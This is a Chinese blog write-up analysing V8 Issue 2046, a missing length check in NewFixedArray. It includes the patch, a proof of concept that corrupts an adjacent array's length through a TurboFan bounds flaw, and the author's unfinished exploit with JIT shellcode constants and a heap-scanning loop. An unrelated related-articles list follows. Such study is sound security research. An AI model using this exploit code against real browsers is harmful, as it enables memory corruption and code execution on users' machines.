Issue 2046：Missing array size check in NewFixedArray

文章目录

  • 环境搭建
  • 漏洞分析
    • 漏洞触发
  • 漏洞利用
  • 总结
  • 参考

环境搭建

sudo apt install pythongit reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
export DEPOT_TOOLS_UPDATE=0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

关键 patch 如下：

diff --git a/src/builtins/base.tq b/src/builtins/base.tq
index ec10601..4db796d 100644
--- a/src/builtins/base.tq
+++ b/src/builtins/base.tq
@@ -354,6 +354,8 @@constexpr uintptr generates 'String::kMaxLength';const kFixedArrayMaxLength:constexpr int31 generates 'FixedArray::kMaxLength';
+const kFixedDoubleArrayMaxLength:
+    constexpr int31 generates 'FixedDoubleArray::kMaxLength';const kObjectAlignmentMask: constexpr intptrgenerates 'kObjectAlignmentMask';const kMinAddedElementsCapacity:
diff --git a/src/objects/fixed-array.tq b/src/objects/fixed-array.tq
index 519a5f8d..b15f9c5 100644
--- a/src/objects/fixed-array.tq
+++ b/src/objects/fixed-array.tq
@@ -141,8 +141,15 @@ConstantIterator(kDoubleHole)));}+namespace runtime {
+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }return newFixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};}
@@ -150,6 +157,9 @@macro NewFixedDoubleArray<Iterator: type>(length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedDoubleArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }return new FixedDoubleArray{map: kFixedDoubleArrayMap,length: Convert<Smi>(length),

这两个函数的作用就是创建 new FixedArray 和 new FixedDoubleArray 可以看到主要就是在 NewFixedArray/NewFixedDoubleArray 函数中增加了对 length 边界的检查。

为什么要检查呢？不检查会出现什么问题呢？我们先理论分析一下

  • 其实我们知道对于 fast js array 其大小的有限制的，比如 FixedArray 的大小应该限制在 [0, FixedArray::kMaxLength]
  • 然而 NewFixedArray 这两个函数并没有对数组大小做限制，那么理论上我们可以创建一个大小为 FixedArray::kMaxLength + ? 的数组 arr1
  • 那么如果我们访问 arr[arr1.length]，如果是在 turbofan 优化中，这里会认为 arr1.length 的范围为 Range(0, FixedArray::kMaxLength)，但实际上 arr1.length 的值却是 FixedArray::kMaxLength + ?
  • 所以理论上这里可以通过该漏洞来使得 trubofan 消除 CheckBounds 节点（但很遗憾，这个版本不能消除 CheckBounds 节点）

NewFixedDoubleArray 同理

漏洞触发

接下来我们得分析下如何去创建上述的 arr1.length = FixedArray::kMaxLength + ? 的数组 arr1

v8 限制了 fixed array 最大的元素个数：

  // Maximally allowed length of a FixedArray.static const int kMaxLength = (kMaxSize - kHeaderSize) / kTaggedSize;static_assert(Internals::IsValidSmi(kMaxLength),"FixedArray maxLength not a Smi");static const int kMaxSize = 128 * kTaggedSize * MB - kTaggedSize;
constexpr int kTaggedSize = kSystemPointerSize;
constexpr int kSystemPointerSize = sizeof(void*);
constexpr int KB = 1024;
constexpr int MB = KB * 1024;
// ⇒ kMaxSize = 128 * 8 * 1024 * 1024 - 8static const size_t kHeaderSize =kSizeOffset + kSizetSize  // size_t size+ kUIntptrSize            // uintptr_t flags_+ kSystemPointerSize      // Bitmap* marking_bitmap_+ kSystemPointerSize      // Heap* heap_+ kSystemPointerSize      // Address area_start_+ kSystemPointerSize;     // Address area_end_
static const intptr_t kSizeOffset = 0;
constexpr int kSizetSize = sizeof(size_t);
constexpr int kUIntptrSize = sizeof(uintptr_t);
typedef unsigned __int64 uintptr_t;
constexpr int kSystemPointerSize = sizeof(void*);
// ⇒ kHeaderSize = 0 + 8 + 8 + 8 + 8 + 8 + 8

最后计算得：kMaxLength = 0x7fffff9

但是这里计算的似乎是不对的？

这里笔者简单写了一个 demo：

var arr = Array(100).fill(1);function func(arr) {let x = arr.lengthlet y = x * 5return y + 4;
}for (let i = 0; i < 0x10000; i++) {func(arr);
}

然后在 typer 阶段可以看到其计算的范围是 Range(0, 134217725)，所以这里的 kMaxLength = 0x7fffffd ？不懂…
在这里插入图片描述
这里还是得根据 IR 图来，所以这里默认 FixedArray::kMaxLength = 0x0x7fffffd，同样的方式可以知道 NewFixedDoubleArray::kMaxLength = 0x3fffffe。这里我们以 NewFixedDoubleArray 来进行利用，为啥呢？因为浮点数数组写入数据是 64 位的，方便。

这里笔者最开始直接创建一个 0x3fffffe+1 大小的 FixedDoubleArray，但是报错：

Fatal javascript OOM in invalid array length

这里多半就是没有调用到漏洞函数 NewFixedDoubleArray

所以这里并不是直接创建一个大小 FixedDoubleArray::kMaxLength 数组那样简单，这里笔者找到了一篇参考文章，该文章主要分析了作者的 POC。

根据作者的 POC，构造大小大于 FixedDoubleArray::kMaxLength 的数组 victim_arr（后面会直接使用这个称号）主要用到了 Array.prototype.concat.apply + Array.prototype.splice 这两个函数。

这里我们简单分析下作者提供的 POC：

var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
console.log(giant_array.length.toString(16));
// 输出：
// 3ffffff

可以看到 giant_array.length = FixedDoubleArray::kMaxLength + 1，即构造 victim_arr 成功：

  • 先创建了一个大小为 0x40000 的 HOLEY_DOUBLE_ELEMENTS 数组 array
  • 然后创建了一个大小为 0xff 的 HOLEY_ELEMENTS 数组 args
  • 然在向 args 中 push 一个大小为 0x40000-4 的 HOLEY_DOUBLE_ELEMENTS 数组，此时 args 为 0x100 的 HOLEY_ELEMENTS 数组
  • 然后利用 Array.prototype.concat 将 args 展开，此时 giant_array 的大小为：0xff * 0x40000 + 0x40000 - 4 = 0x3fffffc
  • 最后在利用 splice 向 giant_array 末尾添加 3 个 3.3，此时 giant_array 的大小就是 0x3fffffc+3 = 0x3ffffff 了

当然我们可以看到在调用 splice 前，giant_array 的大小为 0x3fffffc，其是没有超过 FixedDoubleArray::kMaxLength 的，所以这里应该就是在 splice 函数中调用了漏洞函数。所以在 splice 前的这些操作都只是为了让 giant_array 的大小接近 FixedDoubleArray::kMaxLength。

那么问题来了，为啥不直接创建一个大小为 0x3fffffc 的 giant_array ，然后在直接 splice 呢？笔者其实也尝试过，但是报错：

Fatal javascript OOM in Ineffective mark-compacts near heap limit

这是内存错误，即内存溢出了。这个在参考文章中给出了解释：

Not only will this take a bit of time to run, we get an OOM (Out Of Memory) error! The reason this happens is because the allocation of the array doesn’t happen in one go. There are a large amount of calls to AllocateRawFixedArray, each one allocating a slightly larger array. You can see this in GDB by setting a breakpoint at AllocateRawFixedArray and then allocating the array as shown above. I’m not entirely sure why V8 does it this way, but that many allocations causes V8 to very quickly run out of memory

即这里创建大数组时并不是一次性创建的，而是会多次调用 AllocateRawFixedArray，调试也确实如此，而每次调用 AllocateRawFixedArray 分配一个稍大一点的数组。这样的多次分配操作会导致 V8 引擎很快耗尽可用的内存，从而引发内存错误。

但是在参考文章中，作者创建接近 FixedArray::kMaxLength 的数组时是出现了内存溢出错误的。但是在创建接近 FixedDoubleArray::kMaxLength 的数组时是没有报错的，可能环境不一样。但总的来说直接创建一个大数组非常耗时间（你会发现你得等好久）。

然后值得注意的是 concat 存在快速路径和慢速路径：

BUILTIN(ArrayConcat) {
......// Reading @@species happens before anything else with a side effect, so// we can do it here to determine whether to take the fast path.Handle<Object> species;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));if (*species == *isolate->array_function()) {if (Fast_ArrayConcat(isolate, &args).ToHandle(&result_array)) {return *result_array;}if (isolate->has_pending_exception())return ReadOnlyRoots(isolate).exception();}return Slow_ArrayConcat(&args, species, isolate);
}

而在快速路径 Fast_ArrayConcat 下存在检查：

MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,BuiltinArguments* args) {
......result_len += Smi::ToInt(array->length());DCHECK_GE(result_len, 0);// Throw an Error if we overflow the FixedArray limitsif (FixedDoubleArray::kMaxLength < result_len ||FixedArray::kMaxLength < result_len) {AllowHeapAllocation gc;THROW_NEW_ERROR(isolate,NewRangeError(MessageTemplate::kInvalidArrayLength),JSArray);}}}return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
}

可以看到如果 result_len 大于 FixedArray::kMaxLength = 0x0x7fffffd or FixedDoubleArray::kMaxLength = 0x3fffffe 则报错。而我们这里利用的是 FixedDoubleArray ，其中 result_len = 0x3fffffc 所以不需要绕过，而如果使用 FixedArray 进行利用则需要进行绕过。参考作者第一版 POC，绕过很简单，添加一个熟悉即可。

言归正传，还是回到 Array.prototype.splice 函数的调用链，看看其是如何调用到漏洞函数的：

// builtins/array-splice.tq
ArrayPrototypeSplice-> FastArraySplice -> FastSplice -> Extract -> ExtractFixedArray -> NewFixedArray

其实没啥好说的，大家跟一下就行了…

漏洞利用

这个漏洞的利用相对比较复杂，所以单独记录一下。

笔者最开始采用了很多方法但是都没啥效果，所以最后还是来分析 POC 吧，

var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];var corrupting_array;
var corrupted_array;function trigger(array) {var x = array.length;x -= 67108861;x = Math.max(x, 0);x *= 6;x -= 5;x = Math.max(x, 0);corrupting_array = [0.1, 0.1];corrupted_array = [0.1];corrupting_array[x] = length_as_double;return [corrupting_array, corrupted_array];
}for (let i = 0; i < 30000; ++i) {trigger(giant_array);
}var oob_array = trigger(giant_array)[1];console.log("[+] conrrupted array length : 0x" + oob_array.length.toString(16));
// 输出：
// [+] conrrupted array length : 0x12121212

TyperPahse

对索引 x 的 type 计算是符号预期的：
在这里插入图片描述
但是数组访问写时，感到很奇怪：
在这里插入图片描述
可以看到这里存在一个 MaybeGrowFastElements 节点，并且这里 CheckBounds 检查的范围是 [1024, 0x7fffffd+1024] = [1024, FixedArray::kMaxLength+1024]。

这里笔者自己尝试了很多方法都没有构造出 MaybeGrowFastElements 节点

暂时搁置 todo

有点难搞

尝试写了下 exp，但是存在问题：

const {log} = console;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
let roots = new Array(0x30000);
let index = 0;function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {roots[index++] = new ArrayBuffer(0x200000);}roots[index++] = new ArrayBuffer(8);
}let l2d = (val) => {l_buf[0] = val;return d_buf[0];
};let d2l = (val) => {d_buf[0] = val;return l_buf[0];
};let hexx = (str, val) => {log(str+": 0x"+val.toString(16));
};function shellcode() {return [1.9553820986592714e-246, 1.9557677050669863e-246, 1.97118242283721e-246,1.9563405961237867e-246, 1.9560656634566922e-246, 1.9711824228871598e-246,1.986669612134628e-246,  1.9712777999056378e-246, 1.9570673233493564e-246,1.9950498189626253e-246, 1.9711832653349477e-246, 1.9710251545829015e-246,1.9562870598986932e-246, 1.9560284264452913e-246, 1.9473970328478236e-246,1.9535181816562593e-246, 5.6124209215264576e-232, 5.438699428135179e-232];
}//%PrepareFunctionForOptimization(shellcode);
//shellcode();
//%OptimizeFunctionOnNextCall(shellcode);
//shellcode();for (let i = 0; i < 0x80000; i++) {shellcode(); shellcode();shellcode(); shellcode();
}var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];var corrupting_array;
var corrupted_array;
var map_len;function trigger(array) {let x = array.length;x -= 67108861;x = Math.max(x, 0);x *= 6;x -= 5;x = Math.max(x, 0);corrupting_array = [0.1, 0.1];corrupted_array = [0.1];corrupting_array[x] = length_as_double;return [corrupting_array, corrupted_array];
}for (let i = 0; i < 0x8000; ++i) {trigger(giant_array);
}/*
%PrepareFunctionForOptimization(trigger);
trigger(giant_array);
%OptimizeFunctionOnNextCall(trigger);
trigger(giant_array);
*/var [x_arr, oob_arr] = trigger(giant_array);
console.log("[+] conrrupted arr length : 0x" + oob_arr.length.toString(16));//var arb_rw_heap_arr = [0x6f56, 0x6f56, shellcode];/*0x00002c5f00000000 0x00002c5f0000c000 0x0000000000000000 rw-
0x00002c5f00040000 0x00002c5f00041000 0x0000000000000000 rw-
0x00002c5f00080000 0x00002c5f00081000 0x0000000000000000 rw-
0x00002c5f000c0000 0x00002c5f000c1000 0x0000000000000000 rw-
0x00002c5f00100000 0x00002c5f00101000 0x0000000000000000 rw-
0x00002c5f00140000 0x00002c5f00141000 0x0000000000000000 rw-
0x00002c5f08080000 0x00002c5f0818d000 0x0000000000000000 rw-
0x00002c5f081c0000 0x00002c5f081c1000 0x0000000000000000 rw-
0x00002c5f08200000 0x00002c5f083e1000 0x0000000000000000 rw-
0x00002c5f08500000 0x00002c5f08701000 0x0000000000000000 rw-
0x00002c5f08740000 0x00002c5f08940000 0x0000000000000000 rw-
0x00002c5f08a80000 0x00002c5f09081000 0x0000000000000000 rw-
0x00002c5f090c0000 0x00002c5f290c1000 0x0000000000000000 rw-
0x00002c5f29100000 0x00002c5f59101000 0x0000000000000000 rw-
0x00002c5f59140000 0x00002c5f59940000 0x0000000000000000 rw-
*//*
let all = [[0,0xc000], [0x40000,0x41000], [0x80000, 0x81000],[0xc0000,0xc1000], [0x100000,0x101000], [0x140000,0x141000],[0x8080000,0x818d000],[0x81c0000,0x81c1000],[0x8200000,0x83e1000],[0x8500000,0x8701000],[0x8740000,0x8940000],[0x8a80000,0x9081000],[0x90c0000,0x90c1000],[0x9100000,0x9101000],[0x9140000,0x9940000]];
*/let all = [[0x596a6000, 0x596e7000]];
var arb_rw_heap_arr = [0x6f54, 0x6f54, oob_arr];%DebugPrint(arb_rw_heap_arr);let flag = true;
for (let i = 0; i < all.length && flag; i++) {let range = all[i];
//      print("range: ", range);for (let l = range[0] / 8; l < (range[1] / 8 - 1); l++) {if (l > oob_arr.length) {log("Error: failed oob read key data");flag = false;break;}let val = d2l(oob_arr[l]);if (val == 0xdea80000dea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");//flag = false;} else if ((val&0xffffffffn) == 0xdea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");} else if (((val>>32n)&0xffffffffn) == 0xdea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");}}
}%DebugPrint(arb_rw_heap_arr);//%SystemBreak();

总结

这里的漏洞触发源码还没有搞清楚。然后就是对于写 exp 部分，由于存在指针压缩，所以当篡改相邻浮点数组对象的 length 属性时，会将其 element 一些篡改。所以这里我们只能将 element 修改为 1，然后从头开始遍历堆，从而区寻找目标对象。

但是这里存在两个问题：

  • 由于存在 guard 内存，所以我们得选择一些地址进行编译。
  • 程序在执行过程中会进行垃圾回收，这会使得之前确定的目标偏移失效。

参考

SIMPLE BUGS WITH COMPLEX EXPLOITS

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/753118.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

FDA: 用于语义分割的傅里叶域自适应

FDA: 用于语义分割的傅里叶域自适应

论文链接&#xff1a;https://arxiv.org/abs/2004.05498 代码链接&#xff1a;GitHub - YanchaoYang/FDA: Fourier Domain Adaptation for Semantic Segmentation 机构&#xff1a;UCLA 发表于2020CVPR 这篇文章别的地方略读了&#xff0c;主要看看方法&#xff0c;感兴趣自…
阅读更多...
如何理解“高频信息/高级语义”和“低频信息/低级语义”？

如何理解“高频信息/高级语义”和“低频信息/低级语义”？

如何区分高频信息和低频信息&#xff1f; 如果一个东西是高度离散化和语义化的&#xff0c;一个字的差异也可能导致词语之间的含义发生重大变化&#xff0c;就是高频东西。例如一句话&#xff0c;如果你改变了一个单词&#xff0c;这个句子就会变成其他的意思。还有就是经过en…
阅读更多...
部署高斯喷射项目gaussian-splatting

部署高斯喷射项目gaussian-splatting

硬件要求 支持 CUDA 的 GPU&#xff0c;具有 7.0 的计算能力24 GB VRAM 软件要求 Conda用于 PyTorch 扩展的 C 编译器&#xff08;Visual Studio 2019&#xff09; CUDA SDK 11 for PyTorch 扩展&#xff0c;在 Visual Studio 之后安装C 编译器和 CUDA SDK 必须兼容 拉取源码 …
阅读更多...
Poly Kernel Inception Network在遥感检测中的应用

Poly Kernel Inception Network在遥感检测中的应用

摘要 https://export.arxiv.org/pdf/2403.06258 遥感图像&#xff08;RSI&#xff09;中的目标检测经常面临一些日益严重的挑战&#xff0c;包括目标尺度的巨大变化和多样的上下文环境。先前的方法试图通过扩大骨干网络的空间感受野来解决这些挑战&#xff0c;要么通过大核卷积…
阅读更多...
.Net使用ElasticSearch

.Net使用ElasticSearch

文章目录 前言主体内容一.Kibana中ElasticSearch的基础操作1.GET&#xff08;查询&#xff09;1.POST&#xff08;新增&#xff09;1.PUT&#xff08;修改&#xff09;1.DELET&#xff08;删除&#xff09; 二.在.Net中&#xff0c;对ElasticSearch进行基础操作1.DotNet连接Ela…
阅读更多...
低代码与AI：构建面向未来的智能化应用

低代码与AI：构建面向未来的智能化应用

引言 在当今数字时代&#xff0c;技术的快速发展为各行各业带来了前所未有的机遇和挑战。企业和组织面临着如何迅速开发和交付高质量应用的需求&#xff0c;同时还需要应对日益复杂的业务需求和用户期望。在这样的背景下&#xff0c;低代码与人工智能&#xff08;AI&#xff0…
阅读更多...
蓝桥杯可撤销并查集|查找|合并|撤销(C++)

蓝桥杯可撤销并查集|查找|合并|撤销(C++)

前置知识 蓝桥杯并查集|路径压缩|合并优化|按秩合并|合根植物(C)-CSDN博客 可撤销并查集 关键注意 可撤销并查集的撤销功能如何实现可撤销并查集能不能用路径压缩 可撤销并查集(Reversible Union-Find)是一种扩展了标准并查集(Union-Find)数据结构的数据结构&#xff0c;它允…
阅读更多...
高中数学：指数、对数、幂函数综合（拔高）

高中数学：指数、对数、幂函数综合（拔高）

一、需要掌握的重要函数 1、第一组&#xff08;记住&#xff09; 例题 1、判断奇偶性 2、代值定象限 2、第二组&#xff08;记住&#xff09; 以下几个函数都是奇函数 3、常用知识点 1、找对称中心或对称轴 上加下减&#xff0c;左加右减 2、奇偶函数组合后的奇偶性 …
阅读更多...
python基础——对序列的通用操作【+和*以及in 和 切片操作】

python基础——对序列的通用操作【+和*以及in 和 切片操作】

&#x1f4dd;前言&#xff1a; 我们已经学习了python数据容器中的列表&#xff0c;元组以及字符串。而他们都属于序列 &#xff08;序列是指&#xff1a;内容连续&#xff0c;有序&#xff0c;可以用下标索引访问的数据容器&#xff09; 在之前已经介绍了不少操作方法&#xf…
阅读更多...
中高级前端工程师都需要熟悉的技能--前端缓存

中高级前端工程师都需要熟悉的技能--前端缓存

前言 web缓存是高级前端工程师必修技能。是我们变成大牛过程中绕不开的知识点。 文章会尽量用通俗易懂的言语来细说web缓存的概念和用处。 本期文章的大纲是 什么是web缓存&#xff08;前端缓存&#xff09; 缓存可以解决什么问题&#xff1f;他的缺点是什么&#xff1f; …
阅读更多...
数据结构 之 七大排序 （持续更新ing...）

数据结构 之 七大排序 （持续更新ing...）

下面算法编写的均是按照由小到大顺序进行排序版本 选择排序 思想&#xff1a; 每次遍历待排序元素的最大下标&#xff0c;与待排序元素中最后一个元素交换位置&#xff08;此时需要设置一个临时变量来存放下标&#xff09; 时间复杂度--O(n^2)空间复杂度--O(1)稳定性--不稳定 代…
阅读更多...
TCP - 传输控制协议

TCP - 传输控制协议

TCP - 传输控制协议 是一种面向连接的可靠传输协议。 特点&#xff1a; TCP是面向连接&#xff08;虚连接&#xff09;的传输层协议。 每一条TCP连接有且只能有两个端点。 可靠、有序、无丢弃和不重复。 TCP协议提供全双工通讯。 发送缓存 存放发送方TCP准备发送的数据。T…
阅读更多...
FDMC8200中文资料PDF数据手册引脚图参数功能介绍概述参数规格参数产品手册

FDMC8200中文资料PDF数据手册引脚图参数功能介绍概述参数规格参数产品手册

产品概述&#xff1a; 此器件在一个双 Power 33 (3 mm X 3 mm MLP) 封装中包括了两个特制的 N 沟道 MOSFET。 开关节点已经内部连接&#xff0c;可实现同步降压转换器的轻松布置和布线。 控制 MOSFET (Q1) 和同步 MOSFET (Q2) 可提供最佳功率效率。 产品特性&#xff1a; Q1…
阅读更多...
计算机一级word 文字处理理论+实操试题

计算机一级word 文字处理理论+实操试题

计算机一级word 文字处理理论实操试题 单选题&#xff1a; 1、在Word编辑状态下&#xff0c;要将另一文档的内容全部添加在当前文档的当前光标处&#xff0c;应选择的操作是依次单击______。 A.“文件”选项卡和“打开”项 B.“文件”选项卡和“新建”项 C.“插入”选项卡…
阅读更多...
外贸业务员的工作时间安排，抓紧收藏！

外贸业务员的工作时间安排，抓紧收藏！

平时很多外贸业务员应该都差不多&#xff0c;大部分时间会用来不知所措的摸鱼&#xff0c;关于工作内容并无规划。今天给大家分享一个工作时间安排&#xff0c;赶紧码住&#xff01; 销售联系潜在客户时间计划表 目标:在不给潜在客户造成压力的情况下&#xff0c;建立联系并推…
阅读更多...
WEB前端作业一

WEB前端作业一

作业1:生成表格 模版 <!DOCTYPE html> <html><title>作业表格一</title><body><h1><b>工商银行电子汇款单</b></h1><p><table border"1" cellspacing"0"><tr><td colspan&qu…
阅读更多...
最小化战斗力差距——算法思路

最小化战斗力差距——算法思路

题目链接&#xff1a;1.最小化战斗力差距 - 蓝桥云课 (lanqiao.cn) 可分析&#xff0c;把一个数组分成两组&#xff0c;求一组的最大值与另一组的最小值的差值的绝对值最小&#xff0c;可以转换为求任意两个相邻数字之间的最小插值的绝对值。 可看图示&#xff1a; package lan…
阅读更多...
记录工作中莫名其妙的bug

记录工作中莫名其妙的bug

1、问题&#xff1a;办公室的电脑突然除了我之外&#xff0c;都不能访问我们的线上系统了 原因&#xff1a;因为是内网&#xff0c;同事有刚刚升级了Windows11&#xff0c;配置的DNS被清了&#xff0c;还有同事换了公司的新电脑&#xff0c;还没有配DNS 位于&#xff1a;C /Win…
阅读更多...
如何在CentOS系统部署AMH主机面板并实现无公网IP远程连接

如何在CentOS系统部署AMH主机面板并实现无公网IP远程连接

文章目录 推荐1. Linux 安装AMH 面板2. 本地访问AMH 面板3. Linux安装Cpolar4. 配置AMH面板公网地址5. 远程访问AMH面板6. 固定AMH面板公网地址 推荐 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。【点击…
阅读更多...
数据库SQLServer——插入数据

数据库SQLServer——插入数据

1.插入数据语法 INSERT INTO table_name(column_list) VALUES (value_list); --简写 INSERT INTO table_name VALUES (value_list);INSERT table_name VALUES (value_list); 2.实例 2.1基本形式&#xff08;不安全&#xff09; insert into 学生表01 values(李明,男,1.70) …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023